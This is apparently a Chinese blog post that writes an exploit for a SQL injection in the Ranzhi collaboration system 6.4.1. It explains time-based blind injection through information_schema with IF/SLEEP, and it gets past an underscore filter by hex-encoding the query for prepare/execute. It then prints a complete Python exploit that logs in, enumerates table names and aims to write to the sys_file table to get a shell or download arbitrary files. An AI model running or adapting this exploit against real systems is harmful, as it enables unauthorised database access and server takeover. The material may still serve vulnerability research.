前言

前面已经说明了 漏洞成因,这里介绍一下 exp 的编写。

正文

为了 getshell 或者是 任意文件下载, 我们需要修改 数据库中的 前缀sys_file 表, 所以我们的利用方式如下

  • 使用 sql 注入 获取程序数据库中任何一个表名, 取得前缀 pre
  • 然后向 presys_file 中插入目标路径。

mysql 5 中可以使用 information_schema  来获取指定数据库中的表。

在  information_schema   中的 tables 表里面存放着整个 mysql 里面保存的表的信息, table_schema 为 表所在的数据库, table_name 为表名。

所以使用

SELECT table_name FROM information_schema.tables where table_schema=database()

就可以得到 当前数据库的 所有表的表名(database() 返回当前的数据库名称)。

由于没有回显,需要使用一些 条件判断 相关的函数,这里我使用 if

select if(ASCII(SUBSTR((SELECT table_name FROM information_schema.tables where table_schema=database() LIMIT 0,1) ,1 ,1))=16, SLEEP(3), 1)

if 的第一参数为 1 则返回第二个参数的值,否则返回 第3个参数的值.

上面的语句用到了子查询和 acsiisubstr 来对检索到的结果根据其 ascii 值进行枚举,如果枚举到了,就 sleep(3)

我们可以通过判断服务器的响应时间,来判断当前枚举位的具体值。

同时子查询只允许返回一行,所以使用 了 limit 0,1 来只返回第一条结果。

枚举表名的关键代码如下

    table_name = ""
for i in range(1, table_len + 1):
for j in range(1, 129):
payload = get_payload_encode(
'''select if(ASCII(SUBSTR((SELECT table_name FROM information_schema.tables where table_schema=database() LIMIT 0,1) ,{} ,1))={}, SLEEP(3), 1);'''.format(
i, j)) start = time.time()
requests.get(host)
nor_time = (time.time() - start) start = time.time()
requests.get(target + payload.decode("utf-8"), headers=headers, cookies=cookies)
att_time = (time.time() - start)
if att_time - nor_time > 2:
table_name += chr(j)
print(table_name)
break

还有一个注意的就是,程序过滤了 _, 这里使用 prepareexecute 组合进行绕过,因为 mysql 支持字符串使用 16 进制编码输入。

def get_payload_encode(payload):
sql = "set @query=0x{};prepare stmt from @query;execute stmt;".format(binascii.b2a_hex(payload.encode("utf-8")).decode("utf-8"))
raw = {"orderBy": "id limit 0,1;{}#".format(sql)}
raw = json.dumps(raw)
return base64.b64encode(raw.encode("utf-8")) # str---> byte 用 encode

最后的 exp:

# coding=utf-8
import requests
import base64
import time
import json
import binascii
import re
import hashlib
import chardet def get_md5(input):
input = input.encode("utf-8")
m = hashlib.md5()
m.update(input)
return m.hexdigest() def get_payload_encode(payload):
sql = "set @query=0x{};prepare stmt from @query;execute stmt;".format(binascii.b2a_hex(payload.encode("utf-8")).decode("utf-8"))
raw = {"orderBy": "id limit 0,1;{}#".format(sql)}
raw = json.dumps(raw)
return base64.b64encode(raw.encode("utf-8")) # str---> byte 用 encode # get_db_name(host) def get_table_name(host):
path = "/cash/block-printTradeBlock.html?param="
target = host + path
# 查表名
table_len = 0
for i in range(1, 100):
payload = get_payload_encode(
'''select if((SELECT LENGTH(table_name)FROM information_schema.tables where table_schema=database() LIMIT 0,1)={}, SLEEP(3), 1);'''.format(
i))
start = time.time()
requests.get(host)
nor_time = (time.time() - start) start = time.time()
requests.get(target + payload.decode("utf-8"), headers=headers, cookies=cookies)
att_time = (time.time() - start) if att_time - nor_time > 2:
table_len = i
break print("db_len: %d" %(table_len)) table_name = ""
for i in range(1, table_len + 1):
for j in range(1, 129):
payload = get_payload_encode(
'''select if(ASCII(SUBSTR((SELECT table_name FROM information_schema.tables where table_schema=database() LIMIT 0,1) ,{} ,1))={}, SLEEP(3), 1);'''.format(
i, j)) start = time.time()
requests.get(host)
nor_time = (time.time() - start) start = time.time()
requests.get(target + payload.decode("utf-8"), headers=headers, cookies=cookies)
att_time = (time.time() - start)
if att_time - nor_time > 2:
table_name += chr(j)
print(table_name)
break def login(url, username , password):
target = url + "/sys/user-login.html"
data = {"account": "admin", "password": "d4dba0bc2f7e946feaeacbdcdc167131",
"referer": "http://hack.ranzhi.top/sys/index.html", "rawPassword": "21232f297a57a5a743894a0e4a801fc3",
"keepLogin": "false"} res = requests.get(target, headers=headers)
cookies['rid'] = res.cookies['rid']
random = re.findall('v\.random = "(.*?)";', res.text)[0] # 生成登录需要的数据
data['account'] = username
data['referer'] = target
data['rawPassword'] = get_md5(password)
data['password'] = get_md5(get_md5(get_md5(password) + username) + random) res = requests.post(target, headers=headers, cookies=cookies, data=data)
if "self.location" in res.content.decode("utf-8"):
print("登录成功,下面开始 exploit")
else:
print("登录失败")
exit(0) if __name__ == '__main__':
proxies = {"http": "http://127.0.0.1:8080", "https": "https://127.0.0.1:8080", } cookies = {"lang": "zh-cn", "theme": "default", "keepLogin": "false", "rid": "6n6panbh36uqiqj4k5o0nbscq2",
" XDEBUG_SESSION": "19857"}
headers = {"Pragma": "no-cache", "Cache-Control": "no-cache", "Upgrade-Insecure-Requests": "1",
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.186 Safari/537.36",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8",
"Referer": "http://hack.ranzhi.top/sys/index.php", "Accept-Encoding": "gzip, deflate",
"Accept-Language": "zh-CN,zh;q=0.9", "Connection": "close"} host = "http://hack.ranzhi.top:80/"
# get_table_name(host) login(host, "test", "111111")
get_table_name(host)

然之协同系统6.4.1 SQL注入之exp编写的更多相关文章

  1. 然之协同系统6.4.1 SQL注入导致getshell

     前言 先知上一个大佬挖的洞,也有了简单的分析 https://xianzhi.aliyun.com/forum/topic/2135 我自己复现分析过程,漏洞的原理比较简单,但是漏洞的利用方式对我而 ...

  2. [代码审计]某租车系统JAVA代码审计[前台sql注入]

    0x00 前言 艰难徘徊这么久,终于迈出第一步,畏畏缩缩是阻碍大多数人前进的绊脚石,共勉. 系统是租车系统,这个系统是Adog师傅之前发在freebuf(http://www.freebuf.com/ ...

  3. SQL注入问题------JDBC编写简单登录代码

    一.什么是sql注入 sql注入:用户输入的内容, 有一些sql的特殊关键字参与字符串的拼接,完成了一条逻辑发生变化的新的SQL语句 !用代码举个例子简单说明一下: package cn.zhbit. ...

  4. PHPCMS V9.6.0 SQL注入漏洞EXP

    运行于python3.5 import requests import time import re import sys def banner(): msg = '''--------------E ...

  5. SQL注入专题

    SQL注入专题--整理帖 SQL注入是从正常的WWW端口访问,而且表面看起来跟一般的Web页面访问没什么区别, 所以目前市面的防火墙都不会对SQL注入发出警报,如果管理员没查看IIS日志的习惯,可能被 ...

  6. 了解SQL注入攻击

    SQL注入:利用现有应用程序,将(恶意)的SQL命令注入到后台数据库引擎执行的能力,这是SQL注入的标准释义. 随着B/S模式被广泛的应用,用这种模式编写应用程序的程序员也越来越多,但由于开发人员的水 ...

  7. 深入浅出SQL注入

    原文:深入浅出SQL注入 之前在做学生信息管理系统和机房收费系统的时候,对于SQL注入的问题已经是司空见惯,但是并没有真正的地形象生动的理解SQL注入到底是什么玩意儿.直到这次做牛腩才在牛老师的举例之 ...

  8. SQL注入原理及绕过安全狗

    1.什么是SQL注入攻击 SQL注入攻击指的是通过构造特殊的输入作为参数插入到Web表单的输入域或页面请求的查询字符串,欺骗服务器执行恶意的SQL命令 http://www.xxx.com/list. ...

  9. 安全测试之sql注入

    不管是web界面还是app,都会涉及表单输入和提交,如果程序员没有对提交的字符进行过滤或者特殊处理,很容易会产生问题,这里讲的的sql注入就是其中一种方式,在表单中输入sql语句达到进入系统的目的. ...

随机推荐

  1. springboot第四篇:debug模式开发运用

    前提:项目是以maven project结构建立的,现状是无法进行断点调试的.怎么才能在eclipse里进行调试呢? 需要:①将项目打包部署到tomcat ②往项目加入dynamic web modu ...

  2. Homebrew设置代理

    在终端上输入环境变量: export ALL_PROXY=socks5://127.0.0.1:1080 注意:这个只在当前生效,关闭终端就不行了. 原理:本身使用curl进行访问,所以通过环境变量能 ...

  3. WCF系列教程之客户端异步调用服务

    本文参考自http://www.cnblogs.com/wangweimutou/p/4409227.html,纯属读书笔记,加深记忆 一.简介 在前面的随笔中,详细的介绍了WCF客户端服务的调用方法 ...

  4. hibernate关联关系的crud2

    hibernate关联关系的CRUD操作,解释都在注释里了,讲了fetchType.cascade. User类: package com.oracle.hibernate; import javax ...

  5. GitHub与Git指令入门

    GitHub入门 创建账户 之前做代码版本控制都是在bitbucket上面的私有仓库.现在开源社区挺火的,想在github找些开源的工程学习一下,于是加入了github,这里记录一下入门的经历. 首先 ...

  6. Windows里下载并安装phpstudy(图文详解)

    不多说,直接上干货! 帮助站长快速搭建网站服务器平台! phpstudy软件简介 此是基于phpStudy 2016.01.01. 该程序包集成最新的Apache+Nginx+LightTPD+PHP ...

  7. Git学习系列之Git基本操作推送项目(图文详解)

    前面博客 Git学习系列之Git基本操作提交项目(图文详解) 如果完成到一定程度,那么可以推送到远端在线仓库. 推送之前,请确保你已经设置了全局的 user.name 和 user.email, 如果 ...

  8. InnoDB的B+树索引使用

    何时使用索引 并不是在所有的查询条件下出现的列都需要添加索引.对于什么时候添加B+树索引,我的经验是访问表中很少一部分行时,使用B+树索引才有意义.对于性别字段.地区字段.类型字段,它们可取值的范围很 ...

  9. gulp教程之gulp中文API

    1.gulp.src(globs[, options]) 1.1.说明:src方法是指定需要处理的源文件的路径,gulp借鉴了Unix操作系统的管道(pipe)思想,前一级的输出,直接变成后一级的输入 ...

  10. select2和bootstrap模态框一起使用导致select2的input获取不到焦点问题

      select2和bootstrap模态框一起使用导致select2的input获取不到焦点问题 解决办法: 把页面中的 tabindex="-1" 删掉, 或者值改为1 代码片 ...